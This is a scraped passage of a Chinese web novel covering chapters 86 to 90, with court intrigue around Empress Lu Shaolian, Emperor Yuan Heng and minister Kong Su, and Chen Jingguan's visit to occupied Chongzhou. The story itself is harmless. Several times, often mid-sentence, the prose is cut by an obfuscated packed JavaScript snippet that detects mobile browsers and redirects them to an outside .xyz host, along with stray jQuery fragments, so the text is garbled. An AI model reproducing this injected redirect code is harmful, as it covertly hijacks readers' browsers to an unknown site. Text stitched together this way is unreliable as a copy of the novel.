而陆韶怜嫁人后,方荔其实也不在意当时她对自己的奚落了,更多的生出了同情和怜惜。她是觉得陆韶怜眼高于顶,目中无人,但也不愿看着那样飒爽的女子被困在深宫里。 可两个人谁也没有先走出这一步,她们守着彼此的心事遥遥相望。 “皇后娘娘嘱咐奴婢就在这候着,您与娘娘说完话奴婢吩咐人上菜。” 方荔看着眼前的宫殿思绪万千,她朝春雨点点头走进了正殿。 “嫂子来了?” 两个人隔着一扇屏风,方荔已经听到了陆韶怜的声音,她应了一声,在转角时看到了陆韶怜。 “皇后娘娘安好。” 方荔给陆韶怜行礼,陆韶怜受下了,可随即朝方荔回了姑姐的礼数。 “皇后娘娘行此大礼我受不住。” 方荔说罢忙前去搀扶,可陆韶怜笑着道,“嫂子不说是陆家的事吗,那合该按照陆家的礼数走,不然我在天上的爹娘该说我败了陆家的规矩。” 陆韶怜性子天生娇蛮些,方荔没有理会她的指桑骂槐,她自顾自地坐到了陆韶怜对面。 “我生在平头老百姓家里,自然没有那么多规矩,我有话直说了,望皇后娘娘恕罪。”方荔顿了一下,“皇后娘娘可还记得自己姓什么,可还记得与父兄洒血沙场的曾经,可还记得我家两个小子叫您亲亲姑母。” 陆韶怜没作声,方荔继续说,“不过若只是陆家家事,我自当不会登门。我们家遭受什么,都是因果。可北梁的国事,皇后娘娘也不管吗?” “不是说有话直说吗?” 方荔笑了一声,无奈地点头,“好,那我直说。陆栖野如今带陆家马场一万亲兵在外,意欲同陈京观的平远军共同收复东亭,此战为我北梁,北梁当真分文不出?” 陆韶怜笑道,“我不是昌安营首将了,你问不着我。” 方荔愣了片刻突然发出一声冷笑,“是啊,倒是我忘了。你早就是陆皇后,不是陆韶怜了。” “嫂子这话我倒要说道说道了。正因为我是陆韶怜,所以这北梁的皇后才是陆皇后。” 陆韶怜的语气锋利起来,“您今日所来之缘故,我们心知肚明。您倒也不用是这副态度。” “既然如此,我们也没什么可说的了。今日就当我白来。” 方荔起身,“不过既然话说到这个份上了,那些碍于情面憋在我心里的话,我也要一吐为快。那日我上你陆家的门时,你哥哥还只是个军户,而我方荔是方家的掌柜,纵使你哥哥如今扬名天下,可没我的马场,你被皇上娶进门的时候都还是军户女。陆韶怜,收起你骄矜的脾气,陆家败了,我方家可以顶着,但是北梁败了,你就什么都没有了。” 方荔说完抬步就朝外走,门口的宫女想要拦,却瞧见陆韶怜摇了摇头,方荔就这样大摇大摆地进来又大摇大摆地出宫去了。 …… “夫人,皇后娘娘怎么说?” 迷津等在宫外,远远瞧见方荔后就迎了上来。 “她怎么可能在我面前说好话。等着吧,我不信她真没了脾气。” 方荔走后,陆韶怜只觉得浑身发冷,仿佛不只是方荔走了,连这皇宫里的热气也跟着方荔走了。 陆韶怜心里明白,走的是她勉强维持的骄傲。 方荔把自己憋了二十几年的怨气发泄出来了,可她所说句句属实,她有这个资本,就是北梁倒下,她方家也不会倒下。 方荔这些年的铺子开遍天下,只要她想,前脚陆晁一辞官,后脚他们就能潇洒的过完下半辈子。 什么北梁,什么功名,什么战争,她方荔从来不在乎。 她就是商贾人家养大的小姐,在遇到陆晁之前她只信钱,在遇到陆晁之后她相信爱。 陆韶怜不一样,她是融不进姑娘里的异类,她是军户女,她的前半辈子是靠她一刀一刀打出来的。而她的后半辈子,依靠的是当初对元衡的信任。 陆韶怜,一辈子都和北梁的生死绑在一起。 不过方荔有一点说错了,当时方荔上门时陆韶怜不是瞧不起方荔,而是失望。 那时的陆韶怜才是昌安营的大将军,她小小年纪凭着不怕死的胆识和一身力气混到了所有男人的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冬雪替陆韶怜换上衣服,梳头时不动声色地藏起那三分雪白,陆韶怜看在眼里,却只字未提,“那就等,他会来见我的。” 冬雪不再说话,她为陆韶怜戴上最招摇的那支簪子,为她戴上大婚时的首饰。陆韶怜看着镜子中的自己,在胭脂水粉的堆砌下,她好像不认识自己了。 “我这是为何,”陆韶怜苦笑着自言自语,“就因为此时是我去求他吗?” 陆韶怜扶上那冰凉的珠钗,“可为何要去求他,我为的是他元家的天下啊。” 语毕,陆韶怜拔下了簪子,将它放在手中端详许久,长叹一口气,“算了,就按平日的装扮走吧。我本就不是他后宫里莺莺燕燕的样子,又何必东施效颦。” 最后陆韶怜选了自己最喜欢的紫红的长裙,挽了简单的发髻,只在耳朵上戴了块小小的翠玉。 她再看镜子时,对着自己笑了笑。 “冬雪,好看吗?” “好看。” 陆韶怜知道这是冬雪的恭维,可她还是想问。 少年时的她才不会问出这句话呢,她陆韶怜当然是天底下第一好看的。可此时冬雪这句“好看”,陆韶怜哪怕知道自己容颜已逝,她也找到了从前的勇气。 87.颓云駃雨(六) “等了很久?” 陆韶怜不知道自己在赋阳宫的偏殿等了多久,她扶着脑袋晕晕欲睡。 这宫殿里的香点得足,因为元衡总是头疼,需要些熏香安神,而陆韶怜不喜欢这些味道。 元衡的手替陆韶怜承了力,陆韶怜也毫不客气的由元衡拖着自己的脑袋。 “是很久,久到我不想等你了。” 元衡笑了笑,走到陆韶怜身后替她揉着太阳穴,“裕苑那个刚死了父亲,于情于理我也得去看看。” 陆韶怜没接话,她闭着眼睛任由元衡摆弄着自己的脑袋。 “饿了吗?我让人盛点酒酿。” 陆韶怜点头,抬手止住了元衡的动作。 “我很少主动来你的宫殿,你也不问问为什么?” 元衡轻笑一声绕到陆韶怜面前,坐在了她旁边的木椅上,“你是很少来,所以你一定有事。不过你不说,那我也不说,我不喜欢和你谈公事。” 陆韶怜撇了撇嘴,“我就是被你这么养废的。” 元衡脸上笑意更浓,“废了吗?我瞧着那两个儿子你就教养得很好,我很感谢你。” 陆韶怜眼色暗了暗,“可我呢?还好吗?” 元衡瞧得出陆韶怜的心事,但他不愿主动挑明。 陆韶怜很少来找他,也不会来求他,她如今心里有所求,面子上却依旧盛气凌人,元衡想着,这世上估计就她陆韶怜来求人是这副模样。 可这是他二十多年前巴巴求来的姑娘,他生不了她的气。 “很好啊,若你没有把马场交出去,我和你此时该在马场策马驰骋。虽说我老了,可陪你还是可以的。” 元衡单手撑着脑袋,斜靠在桌边。他今日白天和孔肃为首的几个辅臣谈了一天公事,三句不离东亭和陆家,他含糊其辞地搪塞过去了,他算准了陆韶怜要来找自己。 其实裕苑他也可以不去,但他就想让陆韶怜等自己,他希望陆韶怜在等待的时间中下定决心。 同床共枕快三十年,元衡也很了解陆韶怜,从陆晁下狱时他就在等陆韶怜来找自己,可直到陆栖川失踪,陆栖野领兵离开马场,陆韶怜都一言不发。 他们成亲二十多年,他们就周旋了二十多年,当初元衡作为皇子亲征时陆韶怜便拿着一股劲,她心里既有对元衡的喜欢,也有对他的不服气,元衡都知道。 陆韶怜就像是她自己养出来马,天生就不服管,可是一旦认定了主人,就会心甘情愿低下头。 元衡觉得自己这一辈子也没让陆韶怜低过头。 不过也挺好,陆韶怜这辈子没向任何人低过头。 “你在怪我乱了你的计划?” 元衡摇头,“你乱不了,二十年前是,现在也是。” 陆韶怜抬头看着元衡,“你早就知道我把马场交给陆栖野的原因?” 元衡笑而不语,陆韶怜也陪着他笑,“也对,我久居深宫早就不是能与你相抗的陆将军了。” 陆韶怜的语气意味不明,元衡微微挑眉对上了她的视线,“哟,我关住了两个陆将军,怎么忘了自己家里还有一个。” 可陆韶怜并没有想要顺着元衡开玩笑的话说,她脸色冷了冷,“这是你与哥哥商量出的权宜之计,我不至于连这个都看不出来。可是你们放走了陆栖野,放走了最像我的人。” 元衡没说话,陆韶怜便自顾自地吐露心肠。 “我以为我能看懂你,却发现你依旧捉摸不透。你既然下定主意要拿东亭做打开南魏的矛,又为什么不拦着陆栖野?是,他的确把陈京观当作朋友,可你拿定主意的事情,你有一万种阻拦他的方法。你现在让他加入这乱局,是何故?” “你也说了,他是最像你的,若当初你真的不愿意,我就是下令陆家满门抄斩你也不会嫁给我,那你觉得我把陆栖野关起来,他就能放弃了?”元衡嘴角勾着笑,“怕是到时候你还是要来找我,更冷言冷语地讨要你这个侄子。” “那现在呢?陆栖野一心要和陈京观打出个天下,你不出兵,就看着他去送死?” 元衡没有回答陆韶怜的话,他话锋一转问道:“怜儿,你还记得我们拿下济州的时候,约定要用几年拿下南魏吗?” 陆韶怜一时间哑声,她当然记得,三年,她信誓旦旦要用三年荡平南魏。 “你做了皇后,丢掉了那身引以为傲的铠甲,你不甘心,你觉得是我埋没了你。可我也做了皇帝,也丢了那身铠甲,我也不甘心,可我没人能怪。这是皇位啊,我披荆斩棘不就是要这皇位吗,可为何我不甘心?” 元衡说着,陆韶怜瞧见他眼神里闪着烛光,他的影子如夜色一般沉了下来,覆盖在她的身上。 “我老了,我比你还大上十岁呢,”元衡笑着说,“这老天留给我的时间不多了,我想看看统一的天下。” 不是元衡不愿等,而是他等不起了。日渐衰老的躯体,日渐萎靡的精神,他不知道自己将倒在哪一天,他不想给元焕留下一个烂摊子。 “陈京观的一万兵力再加上陆家马场的一万,能与东亭军碰一碰。” “可是晏离鸿带走的那些人,也归了东亭军。” 闻言,元衡身子一震,他是想过这些人去了哪里,但是昌安营是陆晁练出来的兵,他们的行踪难以捉摸。 “你从哪里知道的?” “迷津传了陈京观的话,晏离鸿去找过他,亲口说了军令在姚康手里。” 元衡眼神中闪过一丝狠戾,“他们见过面?但是他让晏离鸿跑了?” 陆韶怜没有回答,元衡也没有深究,他叹了一口气语气和缓了些,“算了,不过都是些小孩。这件事我知道了,你先回去吧。” 陆韶怜没有动,元衡转身看她,“还有话说?” “你就没有想过,我们亲自带出来的兵,为什么轻而易举就被人拿了去?” 元衡目光闪烁,喉头上下颤动,他记得陆晁的话,他说这用兵拿来的天下,终有一日会被人用兵拿去。 “元衡,我们都老了。或许是老天爷拦下了你的刀,是他不想让你继续杀戮。你拼命拿下的江山,可曾认真去看过?” 元衡不语,陆韶怜继续道:“你是天选的将才,却不是治世的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么多年元衡有意避着,那后宫里的多是大臣塞进来讨赏的,他不想让任何人觊觎元焕的皇位。那个十岁的小皇子,还是他母亲行了些不可说的事才留下的。 “别操心小辈了。明日上朝,我会让孔肃看着办,不会伤着小野的。” 元衡见陆韶怜还是不放心,又补了一句,“孔肃你也不必担心,他掀不起风浪,他手上不会拿兵权。” 陆韶怜看了元衡一眼,元衡安抚着拍了拍她的背。 那一夜陆韶怜对着元衡说了很多压在心里的话,那些话说出去,也就松了她心里的一口气。 第二日清晨,陆韶怜着人送了一套锦绣去陆府,说是给方夫人的赔礼。方荔收到后从衣服的夹层看到了陆韶怜的信。 “没想到当初我的意气用事,竟困了你我这么多年。我只是不服这天下为何男子要活得更容易些,若哥哥没有你的马场,这昌安营的将军理应是我的。可我也佩服你,是越来越佩服你。方荔,哥哥能娶到你是他的福气,也是我陆家的福气。小野我定会保下,她这个姑母是养尊处优了半辈子,可也曾是这北梁赫赫有名的将军。” 88.颓云駃雨(七) “诸位臣功,如今东亭拿下南魏的崇州,此地位于泯川三界,可谓要塞之地。这关于东亭征讨一事,你们可有新看法?” 元衡坐在高位,声音带着上位者的漫不经心。或许别人一时间听不出他的意思,可这底下的孔肃却与他迅速通了心意。 “禀皇上,此事正是臣今日所要提报之事。” 孔肃说着向前走到大殿中央,“这南魏多年未有屯兵之势,如今面对风头正盛的东亭自然不可相抗。如此的确是落入我们先前的计划,只是,”孔肃一顿,“若放任东亭军就此膨胀,无异于养虎为患,我们也是时候要收收线了。” 孔肃说完抬头对上了元衡的视线,虽然元衡没说什么,但他眼中的情绪骗不了人,他知道自己猜对了。 昨日方荔宫门前撒野,而后陆韶怜宿在元衡的寝宫,孔肃思前想后都觉得该是因为陆栖野的事情。 “那依孔大人之见,该当如何?” “臣听闻南魏少将军陈京观已有起兵之势,不过他是想先平反还是直捣黄龙,尚未可知。依臣愚见,陛下可先按兵不动,做下部署之势,且看陈京观如何作为。” 元衡点头道:“其他人还有意见吗?” 朝堂上的人面面相觑。如今陆林两家一朝失势,元衡在面子上将孔肃捧得很高,这朝堂仪式大多是他二人的戏台,其余的大臣也就是应和鼓掌的份儿。 “那孔大人对带兵之人,可有想法?” 孔肃深吸一口气,“如今陆大人父子尚且有疑罪在身,自是不便领兵,现昌安营一切事务皆有陆栖川的副将桑柘代管,臣认为这无不妥。只是此番前往兹事体大,我认为这领兵之人该选个清白的。” “清白之人,”元衡不禁失笑,“孔大人这意思是朝中武将多与陆家有关,我这皇上名存实亡?” “臣不敢!” 孔肃连忙俯首叩头,将这大殿敲出鼓点。 “我只是说笑,孔大人不必如此。那你觉得,谁是这北梁仅有的清白之人?” 孔肃眼神飘忽,元衡正了正神色,“你且说,我自当定夺。” “臣认为,这三皇子元煜最为合适。” 孔肃这话一出,朝堂上的议论声立刻大了起来,元衡未做理会,示意他继续。 “如今煜殿下刚满二十一,正是意气风发之时,遥想陛下二十一岁,已经为我北梁立下赫赫战功。此番出兵旨在控制态势,不在消灭东亭,将此次出征作为对煜殿下的历练,正是一箭双雕的事情。” “你很看好元煜?” 元衡轻声问,孔肃立刻明白了其中的试探之意,他答道:“焕殿下自是我北梁之未来,若煜殿下能为之辅佐,自然能保我北梁千秋大业。” 元衡笑而不语,立在他一旁的内侍见状宣了退朝,却唯独留下了孔肃一人。 “孔大人,陛下邀您去花园共赏春色。” 孔肃笑着应和道:“那有劳公公带路。” 这赋阳宫地势高,冬日里冷些,可春日的阳光照着,这花园里的花却是全北梁开得最好的。 不过此时的孔肃无心春意,他跟在内侍身后思索着自己刚才的一言一行,觉得自己提起元煜的时候太过仓促,估计是在这里留了元衡对自己的猜忌。 “来了,坐。” 内侍将孔肃带到一个小亭下面,元衡正由身旁的宫女服侍用茶。 “谢陛下。” 孔肃低着头坐到了元衡对面。 “这快到六月了,天也快热了,春日的花败了夏日的又要长起来了,真是万芳共赏,”元衡笑着往远处的花,突然转过头看着孔肃,“不知孔大人这一路可有觉得哪朵花入自己的眼?” “臣望着满园春色只觉惶恐,”孔肃弯腰轻笑,“陛下这花园里的花自然是各有各的美,可臣这一路过来不敢多忘,怕污了陛下的景色。” “你这张嘴当真是厉害,不愧是能让林均许败下阵来的。” 元衡若无其事的提点着,孔肃一惊,忙跪下,“陛下哪里的话,臣对丞相只有敬慕之情,断不敢做对丞相不敬之事。” “你起来,开不得玩笑怎么行。我是说啊,你比林均许更胜一筹,是我北梁之福。” 孔肃笑着,额角却渗出汗来。 当初他让下头的小官检举林均许,他在这之中也就是时不时提上一嘴,如今看来元衡对此事很是清楚,明白自己是这一切的主导。 可元衡高高举起,又轻轻放下,好似并没有打算拿此事做文章。 元衡瞧孔肃面色如雪,浮上一层淡淡的笑意,“孔大人家是凌州的?那对于东亭该是很有了解。” “劳陛下挂心,臣确是凌州华亭县人,不过我对东亭算不得了解。臣幼时父亲就举家搬到了澄州,以便感沐天恩。” 元衡轻笑了一声,“是吗,但我听孔大人说话带着些东亭的味道,我以为你家里有东亭逃难过来的。” 孔肃悻悻地笑了,“估计是被家里的老仆带偏了。少时父亲见他流落街头,便把他收进了家,我从小由他负责饮食,久而久之可能就染了些气息。” 元衡故作了然地点头,又与孔肃说了些无关紧要的话,孔肃在一旁陪着,不知道里衣湿了多少。他虽说入朝也有十年,可面对元衡还是有一种记忆里的惧怕。 元衡看人的时候,那双眼睛像是能伸出刀子来。 “方才在朝堂上孔大人说令元煜带兵去驰援,为何不派元焕?他做事更妥帖些。” “焕殿下自然是更有经验,可他与陆小将军多年老友,时常往来昌安营,如今这陆少主随陈京观走了,臣担心焕殿下下不去手。” “下不去手?”元衡的语调不自然地升高,“不是派兵驰援陆栖野吗,何来的下不去手一说?” “我们自然不能放着陆少主的安危不管,可驰援是真,反扑也是真。待鹬蚌相争,后一网打尽。如此一来,我北梁统一之事,指日可待。” 孔肃恭敬地朝元衡行礼,元衡对他的话不置可否。 “可如此这般,我北梁的信义何存?” 孔肃一怔,忙跪着答:“是臣小人心肠了,请陛下恕罪。不过此番派煜殿下前去,只当是锻炼也好。” 元衡点头,“是啊,二十几岁了,也该见见血了。” “那臣去安排?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031194|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孔肃说完,见元衡没有声响,起身朝元衡鞠了一躬便转身离开,元衡瞧着那墨色的长袍慢慢消失在花园的转角,他端起桌上的茶一饮而尽。 …… 元衡派兵的消息秘不外宣,但是为了宽慰陆韶怜,他还是亲自去了一趟她的宫殿,将消息告诉了她。 元衡也知道,告诉了陆韶怜的消息,势必会以最快的速度通晓整个陆家,迷津带着方荔的手书以最快的速度赶回了营地。 “皇上当真应了?” 陆栖野喜形于色,他拉住迷津,“是姑母与母亲去说的?” 迷津点头,“我没进去,夫人自己去寻了皇后娘娘。不知道她们说了些什么,但我瞧着夫人出来的时候不大高兴。” 陆栖野叹了一口气,“她俩不太对付,这次也是难为母亲了。好在结果是好的,等援兵一到,我们杀江阮个片甲不留。” 站在一旁的陈京观始终没有说话,虽说陆韶怜在元衡心中很重要,可那份量当真能比的了他心里一统天下的宏愿? 元衡答应的太轻巧了,一定是有更大的利益吸引了他。陈京观心里的不安慢慢爬遍了他全身。 “只是援兵……”迷津小声开口,“皇上的意思是,所有主力还看陈公子的,北梁的军队只在危急关头才现身。” 迷津的话刚好应证了陈京观所想,他轻笑道:“果然,元衡还是想要坐享其成,他最后出手救我,我就要对他感恩戴德。好一个雪中送炭。” 元衡的做法让陆栖野的脸上不太好看,他小心翼翼地瞧了一眼陈京观,却看到陈京观笑着回他,“没事,本来也没指望什么。若你们最后能打了东亭军,我也无憾。” 陆栖野说不出话了,他手里攥着方荔的信,他明白就算是如今的安排,也是陆韶怜开口问元衡要的,若不是他,没有人会管陈京观的死活。 陈京观也是因为明白这一切,所以他对陆栖野只有感激。 即使他最后看不到那胜利,可只要胜利存在就好。 “对了,北梁派出的将领是桑大哥吗?” 陆栖野问,只瞧迷津缓缓摇头,神色黯淡,“是煜殿下。” “元煜?” 陆栖野神色一滞,他又问了迷津一遍,依旧得到了同样的答案。 “不是,他能做什么?” 陆栖野说完意识到自己所言是大不敬之罪,连忙改口道:“他平日没带过兵,甚至都没有参加过训练,皇上当真放心将这等任务交给他?这可是救命的。” 迷津没说话,倒是陈京观宽慰道:“说不定元衡有自己的打算,想要锻炼元煜也说不定呢,毕竟你姑姑都将马场交给你了,元煜比你还长两岁,人家也有自己的抱负。” “可是……” “行啦,能派兵就很好了。元衡又没有撤桑柘的副将,桑柘你总信的过吧。” 陆栖野还有一肚子话,却被陈京观三言两语压下去了,他的直觉告诉他这里面一定有孔肃在捣鬼,但是他找不到证据,也不知道这其中到底挖了什么坑。 “这是我从崇州带来的消息,今晚是我们最后的筹划时间,三日后,起兵朔州。” 89.颓云駃雨(八) 七天前,当迷津到达澄州的时候,陈京观也混进了崇州城。 这城里的一切都与陈京观离开时无不同,但他抬头的时候能看到东亭的旗帜。 陈京观拿着苏清晓的令牌过了城门口的关隘,虽说这几日崇州戒严,但是他们瞧见苏清晓的牌子问都没问就放陈京观进去了。 起初陈京观怀疑过这是瓮中捉鳖的计策,但是他心中对苏清晓的信任打断了他的想法。他只是摸了摸那块牌子,朝温府走去。 街上多了些巡逻的士兵,瞧着应该是东亭人的身量,长得不高,看起来却精壮。 陈京观有意避开了这些人的搜查,和席英沿着小路绕着城边往温书让的府院走,他脚下步子不停,但步伐却慢慢放缓。 “怎么了?” 席英看出了他的变化,侧身问他。 “没什么,走吧。” 陈京观做了几次深呼吸,将脸上的面罩往上拉了拉,他总觉有人在看着他,他不知道自己会不会在崇州遇见江阮。 那粘稠的视线此刻就附在陈京观身上,比以往任何时候都温热,陈京观好几次回头,瞧见身后空无一人,就连席英都没有任何察觉。 “你是怕见到温府,还是怕见到江阮?” 席英终于还是问出口了,这一路陈京观心事重重,她忍了很久,却见陈京观行止间越发慌张。 “怕也没用了,他们中一个人死了,另一个人必须死,你只用记得这些就好了。” 陈京观点头,走过转角后看到了已经化成一片废墟的温府。 陈京观没有见过被烧毁的陈府,他再回阙州的时候那里已经起了新宅子,住着刚从外地升迁进阙州的一家。他好多次一个人回那里去看,那院子里的小孩踢着毽子,父亲在一旁陪着,母亲在一旁笑。 可陈京观在梦里想象过很多次陈府被烧毁后该是什么模样,那棵槐树枯死了么?那张陈频亲手写的牌匾不见了么?他被温润追着打的小亭子呢? 如今他看到温府,他心里的画面被补全了。 树木被烈火焚烧,只留下枯枝残叶;挂牌匾的门脸烧毁了,牌匾被压在废墟深处;温书让家也有小亭子,如今只能看到他和温书让聊过天的石桌还在。 其余的,什么都没有了。 “请问一下,这院子的主人寻到了吗?” 席英抓住了一个过路的,许是不想招惹是非,那人匆匆摆手后离开了。 这条街原本是崇州很热闹的街道,可如今人烟稀少,陈京观能听到的只有风吹过残木时的潇潇声。 “你们是外乡来的?” 陈京观拉起面罩,席英转身后看到一个勾着背的老妇。 “是,我们听了消息赶回来寻亲,没成想看到这幅样子。这崇州还有多少这样的宅子,我怕我家人也……” 席英掩着哭腔,她本想装装样子,可鼻子一酸,眼泪竟真的留了下来。 “姑娘你倒可以放心,这崇州虽然换了衙门,可死了的,只有温大人一家。” 老妇看着席英哭,自己也红了眼,她用袖子抹脸,继续道:“贺福愿易帜,我们一觉睡醒来就发现这崇州换了天地。几个有血气的儿郎要去闹,被抓进衙门打了几板子放了回去。他们手里有兵,我们做不了什么。” “那您可知温大人一家为何遭此劫难?” 老妇掩面,“我们崇州人都爱戴温大人,他对我们极好,他若活着,定能带我们杀出一条血路。听闻他与那个少将军关系甚好,他若活着,还能为我们搬来救兵。他若活着,这崇州断不会落到东亭人手里。” 陈京观有些哽咽,他压着喉咙里的声音,问道:“那大家如今的日子都还好吗?” “说来也怪,东亭军进来什么也没做,我们的日子还是照常过。” 陈京观微微皱眉,他看不懂江阮在做什么了。 他到底想要做什么。 “那可有人来这院子寻过人?” 席英替陈京观问道,陈京观热切地看着老妇,可那老妇却摇头道,“寻过,后来东亭军打扫过一遍了。那夜泯川江也起了火,所有人的注意力都在那画舫上,等发现温大人处着火,这里已经不剩什么了。至于人,和这房子葬在一起了。” 温书让到最后,尸骨无存。 陈京观的心脏好像被什么刺穿了,也好像这把火又烧了起来,他的心也随着温书让一起死了。 “谢谢大娘,我这还有些银子,您拿着。最近日子不好过,您备些银子走吧。” 席英从怀里把钱袋掏出来,一股脑塞给了老妇,可老妇怎么说也不肯要,最后她叹了一口气道:“跑?我一个六十有余的老家伙能跑到哪里去?家里的房子和地虽然不值钱,可也是我一辈子的家当,舍了这些家当,我也就只剩这条命了。” 老妇笑着握住席英的手,“姑娘,你别怪老妇目光浅,我从心里问一句,你觉得要是真开始打仗了,能有地方比如今的崇州好?如今这崇州虽然换了人,可还给我们留了口饭,我要是出去了,可能连命都没了。” 老妇说着,轻轻拍了拍席英的手背,席英的无力感顺着与老妇接触的地方蔓延到全身,她竟然觉得老妇说的是对的。 而一旁沉默的陈京观,想到了他同宁渡说的。 “您觉得,百姓在乎谁是皇帝吗?” 如今看来,一语成谶。 “我走了,你们寻到消息也快些离开吧。你们年轻,趁着腿脚好快些跑去西芥吧。我听我儿子说那儿换了女皇帝,日子过得可好了。” 老妇松开了席英的手,佝偻着腰往家的方向去。席英倒像是被她的话点醒了一般,开口道:“我们或许可以寻沁格出兵。” 陈京观摇头道,“人家凭什么帮你?她如今是一国之君,她要是出兵了,西芥就会被卷进来。她能走到现在不容易,何必再拉上西芥陪葬。” 席英没说话,她同陈京观又在这院子前站了许久,直到月光替了日光的班,将这街道蒙在一层清辉下。 “走吧,人寻不到了,消息总能寻到。” 陈京观沿着这条他走过无数次的街离开温书让的院子,朝泯川楼的方向去了。 正如那老妇所说,这崇州的一切都没有变,泯川楼的吆喝声依旧连天不休,陈京观看着那些摇曳生姿的姑娘,看着那漫天飞舞的飘带,鼻腔里明明是脂粉气,可他却闻见了血腥味。 “你上次找着帮忙的伙计你还记得吗?” 席英点头,明白了陈京观的意思。她四下看了看,定睛到那家开在街头的小店,店主还如那日一样在店外拉客,这家店离几家生意好的红楼远,所以生意远不如其他家景气。 “掌柜的,还记得我吗?” 席英笑着问道,也不知那掌柜看清她没有,只看他热忱地挽住了席英的胳膊,将她往店里带。 “记得记得,您我怎么能忘了,你穿上男装,活脱脱的小公子嘛。” “记性不错,”席英笑道,“今日给你个大生意,做不做?” 那店主一听席英的话,两眼放光,“做做做,有钱不赚是傻子。” “这生意有些危险,”席英说道,“这次我们不出面,你找个面生的伙计替我们走一趟泯川楼。” 那店主抿了抿嘴,有些犹疑地问:“是二位上次去的时候得罪了里面的姑娘?” “您还真是聪明,”席英满脸遗憾,“上次我这哥哥去没带够银子,让他喜欢的姑娘抹了面子,这次就是希望您能进去看看姑娘还好吗?” 店主听着席英的话望了望陈京观,无奈道:“那这次银子够吗?泯川楼的姑娘可不是轻易能请出来的。” “够,您数数。” 店主接过席英递来的钱袋,被这重量压弯了腰,他乐得满眼冒星,捧着这钱袋嗅了嗅,“这次,就是霜栽我也能给您约出来。” “巧了,就约她。” 席英看了看陈京观,继续对掌柜说:“您现在就办,您把事办成了,我这哥哥还有赏。” 店主喜笑颜开就要往后面走,突然顿住步子,问:“可您想问些什么?” “您就看看她身边跟着的伙计,回来给我描述一下,然后您试着去后院看看,我记得那有些小姑娘,我上次去资助了些冬衣,你问问老鸨她们还要不要什么。” 店主应了声“好”,在后面找了个信得过的伙计嘱咐了半天,最后给银子的时候只给了钱袋里的一半,另一半他贴身收下了。 半晌,店主从后面回来,他朝席英点点头道,“办妥了,你们等着就好。” 陈京观“嗯”了一声,见着店里半天也没来人,就开口问道:“我瞧着最近生意不好?是东亭军的缘故吗?” 闻言,店主哭丧着脸答:“倒也怪不了人家,是我这店面位置不好。”他顿了顿继续说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我见到霜栽姑娘了,不过平日跟在她身边的人换了一个,以前那个好像叫鸢绫,乍一看和霜栽还挺像的。现在这个也就七八岁的样子,挺乖巧的小姑娘。” 闻言,陈京观和席英默契地转了头,在彼此的眼神里看到了答案。 “至于您说的后院,那掌柜神色紧张死活不让我进去,说她们这没有十四岁以下的姑娘。” “你也没从旁处看看?” 那伙计有些羞愧地挠头,席英也就知道了,她继续问道:“你还有看到什么异常吗?” “也没什么异常吧,”小伙子作出一副回忆的表情,“硬要说,我瞧着霜栽看我的眼神不对劲。” “哪儿不对劲?” “说不上,”那伙计遣词造句了半天,憋出来一句,“我觉得她像是知道我来不起泯川楼。” 陈京观了然,霜栽应该是意识到了这是试探,所以这小伙计才被很快打发了出来。 泯川楼的灵谍失踪,霜栽换了侍女,掌柜神色紧张,以及霜栽明知道是有人打探,却还是应下了这门生意。 这些小事单看都不起眼,可配上崇州易帜的背景,每一条都足以让陈京观打起十二分精神。 “此事多谢,这银子您收下,说不定要再来崇州还要找您。” 陈京观从怀里掏出一块银锭,那店主忙接了过去,当作宝贝似的放在手上擦拭,“您客气,下次您来尽管吩咐。” 陈京观和席英离开了衣料铺,远远地望着泯川楼飘摇的绸缎,他们好像能隔着这距离看到霜栽,而霜栽也好像正在看着他们。 “有打算了吗?” 席英问道,陈京观点了点头,“直接打朔州吧,我就赌,江阮脑海里还是曾经的我。” “什么意思?” “曾经的我,其实不会管这崇州有多少兵,只要晏离鸿在这,我一定会去和晏离鸿问个清楚,问他为什么就那样看着温书让死。” 陈京观突然发笑,席英看了他一眼,问道:“那现在的你呢?” “事情的原因已经不重要了,我不在乎晏离鸿是什么原因,他做了,就该受着。至于兵,江阮想让我以为崇州没有守军,可我偏不着他的道。” “万一他就是认为你会如此想呢?” 陈京观敛了笑意,“我本没打算躲,如今尽力去盘算,是为了多一分胜算。可胜算从来不能只靠盘算,没有人能算无遗策。输就是输赢就是赢,我总能得到个结果。无论什么结果我都接受。” 陈京观没有明说,其实他心中竟期待着能在朔州的战场上看到江阮。 90.祸起萧墙(一) 陈京观说罢又回头望了一眼泯川楼,此时那粘稠的目光有了形状,只是他看不到。 “楼主,他来打听霜栽姑娘的近况,还借口探了灵谍的行踪,我估摸着他该是要行动了。” 身后的人俯下身子给江阮报告,方才陈京观托来的小伙计就在江阮脚下和霜栽见的面,他眼看着那人带着银子直奔霜栽的屋子去了。 “那晏离鸿驻守崇州的事情他也知道了?” 江阮看着那个身影慢慢消失,脸上多了一丝玩味。 “是,他去温家老宅子看了,我的人把消息透出去了。” 江阮点头,转身回到屋内。门口的人影踟蹰着,最后还是推门进来了。 “他都知道了,那你觉得他会先找我们算账还是直接打朔州?” 